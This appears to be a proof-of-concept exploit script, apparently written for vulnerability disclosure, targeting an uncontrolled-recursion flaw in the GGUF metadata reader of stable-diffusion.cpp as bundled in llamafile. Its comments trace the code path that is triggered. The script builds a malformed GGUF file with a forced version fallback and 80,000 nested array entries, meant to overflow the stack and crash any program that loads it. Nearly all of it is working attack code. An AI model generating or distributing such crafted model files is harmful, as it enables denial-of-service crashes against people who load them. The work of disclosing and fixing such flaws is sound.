#!/usr/bin/env python3
# PoC: CWE-674 Uncontrolled Recursion in GGUFReader::read_metadata()
# Target: stable-diffusion.cpp (submodule in Mozilla-Ocho/llamafile v0.10.3)
# File:   src/model_io/gguf_reader_ext.h  lines 114-125
#
# Root cause: ARRAY case calls read_metadata() recursively for each element
# with no depth limit. version=4 forces GGUFReader fallback (main gguf parser
# rejects versions > 3 and returns nullptr). GGUFReader has no version check,
# so it accepts the file and processes 80000 nested ARRAY-of-ARRAY metadata
# entries, overflowing the default 8 MB call stack.
#
# Trigger path:
#   gguf_io.cpp:47   gguf_init_from_file() -> nullptr  (version=4 > GGUF_VERSION=3)
#   gguf_io.cpp:48   if (!ctx_gguf_) {
#   gguf_io.cpp:49   GGUFReader gguf_reader;
#   gguf_io.cpp:50   gguf_reader.load(file_path)
#   gguf_reader_ext.h:204  for i in 0..metadata_kv_count: read_metadata()
#   gguf_reader_ext.h:114  ARRAY case: calls read_metadata() with no depth limit

import struct
import sys
import os

NESTING = 80000  # 80k levels reliably overflows the default 8 MB stack


def kv_array_unit():
    # One full KV pair: key=k, type=ARRAY, elem_type=ARRAY, len=1
    # The ARRAY handler consumes elem_type+len then calls read_metadata recursively.
    return (
        struct.pack('<Q', 1)   # key_len = 1
        + b'k'                 # key
        + struct.pack('<I', 9) # type = ARRAY (GGUFMetadataType::ARRAY = 9)
        + struct.pack('<I', 9) # elem_type = ARRAY (consumed by ARRAY handler)
        + struct.pack('<Q', 1) # len = 1 element -> 1 recursive read_metadata call
    )


def kv_terminal():
    # Innermost entry terminating the chain: key=k, type=UINT8, value=0x01
    return (
        struct.pack('<Q', 1)   # key_len = 1
        + b'k'                 # key
        + struct.pack('<I', 0) # type = UINT8 (0) -> safe_seek(1) returns true
        + b'\x01'              # the byte that UINT8 case seeks over
    )


def build_gguf():
    header = (
        b'GGUF'
        + struct.pack('<I', 4) # version=4: rejected by gguf_init_from_file, accepted by GGUFReader
        + struct.pack('<Q', 0) # tensor_count=0
        + struct.pack('<Q', 1) # metadata_kv_count=1 -> one top-level read_metadata call
    )
    return header + kv_array_unit() * NESTING + kv_terminal()


def main():
    out = sys.argv[1] if len(sys.argv) > 1 else '/tmp/poc_cwe674.gguf'
    data = build_gguf()
    with open(out, 'wb') as f:
        f.write(data)
    print('[+] Written %d bytes to %s' % (len(data), out))
    print('[+] Recursion depth: %d nested ARRAY-of-ARRAY levels' % NESTING)
    print('[+] version=4 forces GGUFReader fallback (no version guard in GGUFReader)')
    print('[+] Expected crash: SIGSEGV (exit code 139)')


if __name__ == '__main__':
    main()